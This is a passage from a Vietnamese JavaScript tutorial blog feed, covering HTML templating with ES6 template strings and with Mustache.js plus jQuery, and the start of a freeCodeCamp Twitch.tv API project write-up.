9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Render template lên html</h4> <p>Dưới đây là đoạn code <a href="/xu-ly-mot-event-javascript-co-ban/">xử lý sự kiện</a> khi người dùng click vào button <strong>Add</strong>:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">btnAdd<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> data<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> tmpl <span class="token operator">=</span> <span class="token function">itemTemplate</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> frag <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createRange</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">createContextualFragment</span><span class="token punctuation">(</span>tmpl<span class="token punctuation">)</span><span class="token punctuation">;</span> container<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>frag<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Với mảng <code>data</code>, mình sử dụng <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a> để duyệt từng phần tử một <code>item</code> và gọi <a href="/ham-la-gi-ham-trong-javascript/">hàm</a>:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> tmpl <span class="token operator">=</span> <span class="token function">itemTemplate</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả của câu lệnh trên là <strong>một HTML string</strong>. Và tiếp theo, mình cần tạo ra <a href="/co-ban-ve-dom-javascript/">DOM</a> để chèn vào html. Cách đơn giản nhất là sử dụng <code>DocumentFragment</code> như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> frag <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createRange</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">createContextualFragment</span><span class="token punctuation">(</span>tmpl<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <blockquote> <p>Tham khảo thêm:</p> <ul> <li><a href="https://davidwalsh.name/convert-html-stings-dom-nodes">Convert String to DOM Nodes</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createRange">Document.createRange()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Range/createContextualFragment">Range.createContextualFragment()</a></li> </ul> </blockquote> <p>Bước cuối cùng là <a href="https://developer.mozilla.org/en/docs/Web/API/Node/appendChild">append</a> vào <code>container</code> thôi.</p> <p>Với cách làm như này, mình đã tạo được HTML Template với template string mà không cần phải <code>querySelector</code> hay sử dụng thư viện như <strong>Mustache.js</strong> như trên...</p> <p>Bạn có thể tham khảo ví dụ hoàn chỉnh tại đây:</p> <p><a href="https://codepen.io/completejavascript/pen/YLpbzR"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/YLpbzR/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Dĩ nhiên, ví dụ đơn giản như này chưa thể so sánh với Mustache.js được.</p> <p>Vì thư viện này còn hỗ trợ viết <a href="/vong-lap-trong-javascript/">vòng lặp</a>, câu <a href="/cau-truc-re-nhanh-trong-javascript/">điều kiện rẽ nhánh</a> <code>if/else</code> trong template. Nếu vậy, mình cũng thử triển khai các tính năng này xem sao.</p> <h3 id="sử-dụng-vòng-lặp-với-es6-template-string" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-v%C3%B2ng-l%E1%BA%B7p-v%E1%BB%9Bi-es6-template-string" aria-label="sử dụng vòng lặp với es6 template string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng vòng lặp với ES6 Template String</h3> <p>Trong ví dụ trên, mình định nghĩa HTML template là một <strong>item</strong>. Sau đó, render từng item và chèn vào <code>container</code> bằng phương thức <code>append</code>.</p> <p>Tuy nhiên, bạn cũng có thể xử lý ngay bên trong của Template String để sinh ra html tổng và chỉ cần render 1 lần.</p> <p>Khi đó, mình định nghĩa template như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">itemTemplate</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> &lt;div> &lt;span class="name"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>item<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/span> &lt;/div> &lt;div> &lt;span class="comment"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>item<span class="token punctuation">.</span>comment<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/span> &lt;/div> </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token function-variable function">htmlTemplate</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">data</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>data<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">itemTemplate</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong></p> <ul> <li>Hàm <code>itemTemplate</code> ở ví dụ này tương đương với hàm <code>itemTemplate</code> ở phần trước.</li> <li>Đoạn code <code>data.map(item => itemTemplate(item)</code> trả về một mảng gồm các string mà mỗi string thu được từ hàm <code>itemTemplate</code> phía trên.</li> <li>Sau đó, mình dùng phương thức <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join"><code>join</code></a> để thu được string tổng - chính là html string cần chèn vào <code>container</code>.</li> </ul> <p>Công việc còn lại là <strong>tạo ra DOM và chèn vào <code>container</code></strong> thì hoàn toàn giống với phần trước. Dưới đây là ví dụ cho phương pháp này:</p> <p><a href="https://codepen.io/completejavascript/pen/BxQeWN"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/BxQeWN/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Rõ ràng, mình đã có thể <strong>xử lý vòng lặp</strong> ngay bên trong Template String. Nghĩa là mình cũng có thể sử dụng điều kiện <code>if/else</code>.</p> <p>Tuy nhiên, mình sẽ để phần này cho bạn đọc <strong>tự suy nghĩ và giải quyết vấn về</strong>. Nếu có khó khăn hay góp ý gì thì có thể để lại cho mình trong phần bình luận.</p> <p>Hãy nhớ rằng:</p> <blockquote> <p>Practice makes perfect!</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Trên đây là cách xây dựng HTML template với template string. Việc tự xây dựng HTML template với template string:</p> <ul> <li><strong>Ưu điểm</strong>: không cần phải sử dụng thư viện bên thứ ba.</li> <li><strong>Nhược điểm</strong>: bạn phải quản lý code nhiều hơn và có thể <strong>đẻ</strong> ra nhiều lỗi.</li> </ul> <p>Vì vậy, bạn nên cân nhắc khi chọn phương pháp này so với việc sử dụng thư viện.</p> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="https://developers.google.com/web/updates/2015/01/ES6-Template-Strings">Getting Literal With ES6 Template Strings</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals">Template literals</a></li> <li><a href="https://wesbos.com/template-strings-html">Easy Creation of HTML with JavaScript's Template Strings</a></li> </ul>[email protected]<![CDATA[Mustache Template với jQuery]]><![CDATA[Đến hẹn lại lên, hôm nay mình sẽ chia sẻ với các bạn cách sử dụng Mustache Template với jQuery trong lập trình JavaScript. Việc sử dụng Mustache.js sẽ giúp bạn hạn chế việc xử lý…]]>https://completejavascript.com/mustache-template-voi-jquery/https://completejavascript.com/mustache-template-voi-jquery/<![CDATA[jQuery]]><![CDATA[Mustache.js]]><![CDATA[Template]]>Wed, 14 Mar 2018 08:00:21 GMT<p>Đến hẹn lại lên, hôm nay mình sẽ chia sẻ với các bạn cách sử dụng Mustache Template với jQuery trong <a href="/javascript/">lập trình JavaScript</a>. Việc sử dụng Mustache.js sẽ giúp bạn hạn chế việc xử lý logic trong JavaScript. Qua đó, giúp code bạn trở nên ngắn gọn và sáng sủa hơn.</p> <h2 id="mustache-template-trong-html" style="position:relative;"><a href="#mustache-template-trong-html" aria-label="mustache template trong html permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mustache Template trong HTML</h2> <p>Mình đã chuẩn bị sẵn một ví dụ cho các bạn tiện tham khảo:</p> <p><a href="https://codepen.io/completejavascript/pen/rderNq"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/rderNq/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Việc đầu tiên cần làm là include mustache.js trong file HTML:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://cdnjs.cloudflare.com/ajax/libs/mustache.js/2.3.0/mustache.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Tiếp đó là khai báo Mustache Template sử dụng thẻ <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script">script</a>:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>my-template<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>x-tmpl-mustache<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token operator">&lt;</span>div<span class="token operator">></span> <span class="token operator">&lt;</span>span <span class="token keyword">class</span><span class="token operator">=</span><span class="token string">"name"</span><span class="token operator">></span><span class="token punctuation">{</span><span class="token punctuation">{</span>name<span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>span<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token operator">&lt;</span>div<span class="token operator">></span> <span class="token operator">&lt;</span>span <span class="token keyword">class</span><span class="token operator">=</span><span class="token string">"comment"</span><span class="token operator">></span><span class="token punctuation">{</span><span class="token punctuation">{</span>comment<span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>span<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre></div> <p>Thẻ script này mình set <strong>id="my-template"</strong> để tiện sử dụng đến trong JavaScript, và <strong>type="x-tmpl-mustache"</strong> - bắt buộc để thông báo rằng đây là Mustache Template, chứ không phải <strong>script</strong> để thực thi.</p> <p>Bên trong thẻ là đoạn HTML bạn dùng làm template. Với đặc điểm quan trọng là mỗi tham số được đặt trong cặp dấu <strong>{{variable}}</strong>. Qua đó, Mustache sẽ biết và thay nó với đối số tương ứng khi bạn truyền vào.</p> <h2 id="sử-dụng-mustache-template-với-jquery" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-mustache-template-v%E1%BB%9Bi-jquery" aria-label="sử dụng mustache template với jquery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Mustache Template với jQuery</h2> <p>Bạn có thể sử dụng Mustache.js mà không cần tới jQuery. Tuy nhiên, việc sử dụng thư viện jQuery sẽ giúp code sạch sẽ hơn.</p> <p>Để sử dụng template, trước tiên, bạn phải trích xuất nó ra từ file HTML:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> tmpl <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#my-template"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">html</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đến đây bạn đã có template rồi, tiếp theo sử dụng phương thức <strong>parse</strong> của Mustache để parse template trên. Việc sử dụng phương thức này là không bắt buộc, nhưng nó sẽ giúp tăng tốc độ <strong>render</strong> sau này.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Mustache<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>tmpl<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tương tự như <a href="/chuyen-html-template-sang-dom-node/">bài viết trước</a>, bài này mình cũng mô phỏng lại việc render các bình luận cho một bài viết. Dữ liệu được lưu trong mảng các <a href="/object-la-gi-object-trong-javascript/">object</a> với 2 thuộc tính là name và comment.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"That is great"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"It's helpful"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"Thanks a lot"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Công việc cuối cùng là render Mustache Template với jQuery và dữ liệu trên khi người dùng nhấn vào button <strong>Add</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#btn-add"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">click</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> data<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> rendered <span class="token operator">=</span> Mustache<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span>tmpl<span class="token punctuation">,</span> item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#container"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>rendered<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong phương thức render, thành phần đầu tiên là Mustache Template đã được lấy ra từ trước; thành phần thứ hai là mỗi phần tử của <a href="/array-la-gi-array-trong-javascript/">mảng</a> sau khi sử dụng phương thức <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a>.</p> <p>Kết quả thu được là <a href="/co-ban-ve-dom-javascript/">DOM,</a> có cấu trúc như template với tham số đã được thay thế bằng dữ liệu data trên. Bây giờ, bạn chỉ cần sử dụng phương thức <a href="http://api.jquery.com/append/">append</a> để đưa nó vào bên trong của thẻ div - với <strong>id="container"</strong>.</p> <p>Ngoài ra, để bỏ đi thành phần HTML mới thêm vào, bạn có thể đơn giản sử dụng phương thức <a href="https://api.jquery.com/empty">empty</a> để xóa nó khỏi HTML.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#btn-rm"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">click</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#container"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">empty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là cách mình sử dụng Mustache Template với jQuery. Rõ ràng, việc sử dụng kết hợp 2 thư viện JavaScript này giúp code trở nên ngắn gọn và khá rõ ràng. Hy vọng với những hướng dẫn đơn giản trên, bạn có thể biết cách sử dụng Mustache.js.</p> <p>Xin chào và hẹn gặp lại ở <a href="/smooth-scrolling-trang-web-voi-jquery/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Lập trình JavaScript với FCC - Use the Twitch.tv JSON API]]><![CDATA[Tiếp tục với chủ đề Lập trình JavaScript với FCC, bài viết này mình sẽ chia sẻ với bạn về project Use the Twitch.tv JSON API trên freeCodeCamp. Trước tiên, project này cũng tương…]]>https://completejavascript.com/lap-trinh-javascript-voi-fcc-twitch-tv-json-api/https://completejavascript.com/lap-trinh-javascript-voi-fcc-twitch-tv-json-api/<![CDATA[API]]><![CDATA[ES6]]><![CDATA[Template]]><![CDATA[FCC]]>Tue, 13 Mar 2018 13:23:59 GMT<p>Tiếp tục với chủ đề <a href="/tag/fcc/">Lập trình JavaScript với FCC</a>, bài viết này mình sẽ chia sẻ với bạn về project <strong>Use the Twitch.tv <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a> API</strong> trên freeCodeCamp.</p> <p>Trước tiên, project này cũng tương tự như các project trước, mình chỉ sử dụng HTML5, CSS3, JavaScript thuần và kết hợp thêm <a href="/tag/jquery/">jQuery</a>. Vì vậy, nếu bạn đã theo dõi các project trước đây của mình thì sẽ thấy những kiến thức ở đây không có gì mới mẻ cả.</p> <p>Chỉ có một thứ mà mình muốn chia sẻ ở bài viết này. Đó là cách sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage">Web Storage API</a>, để lưu lại những thông tin cài đặt của người dùng.</p> <p>Mời bạn theo dõi sau đây.</p> <h2 id="yêu-cầu-của-project-use-the-twitchtv-json-api" style="position:relative;"><a href="#y%C3%AAu-c%E1%BA%A7u-c%E1%BB%A7a-project-use-the-twitchtv-json-api" aria-label="yêu cầu của project use the twitchtv json api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Yêu cầu của project Use the Twitch.tv JSON API</h2> <p>Project này bao gồm những yêu cầu cơ bản sau:</p> <ul> <li>Có thể nhìn thấy được là Free Code Camp có đang streaming trên Twitch.tv hay không.</li> <li>Có thể click vào và di chuyển đến Twitch.tv</li> <li>Nếu một người dùng Twitch đang streaming, thì có thể nhìn thấy thông tin chi tiết về cái mà họ đang streaming.</li> </ul> <p>Ngoài ra, mình còn tự đưa thêm các yêu cầu khác như:</p> <ul> <li>Cho phép người dùng thêm kênh mà họ muốn theo dõi</li> <li>Cho phép người dùng xoá kênh mà họ không muốn theo dõi</li> <li>Lọc các kênh đang online hoặc offline.</li> </ul> <h2 id="demo-project-use-the-twitchtv-json-api" style="position:relative;"><a href="#demo-project-use-the-twitchtv-json-api" aria-label="demo project use the twitchtv json api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo project Use the Twitch.tv JSON API</h2> <p><a href="https://codepen.io/completejavascript/pen/aGKjGQ"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/aGKjGQ/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Bạn có thể nhập tên kênh mà bạn muốn vào phần input và nhấn <strong>ADD</strong> để thêm vào danh sách kênh. Dữ liệu này sẽ không bị mất đi kể cả khi bạn đóng trình duyệt.</p> <h2 id="một-số-thủ-thuật-cần-lưu-ý" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-th%E1%BB%A7-thu%E1%BA%ADt-c%E1%BA%A7n-l%C6%B0u-%C3%BD" aria-label="một số thủ thuật cần lưu ý permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số thủ thuật cần lưu ý</h2> <h3 id="xây-dựng-html-template" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-html-template" aria-label="xây dựng html template permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng HTML Template</h3> <p>Mặc dù trong project này sử dụng jQuery, nhưng phần <a href="/tag/template/">HTML Template</a> mình không sử 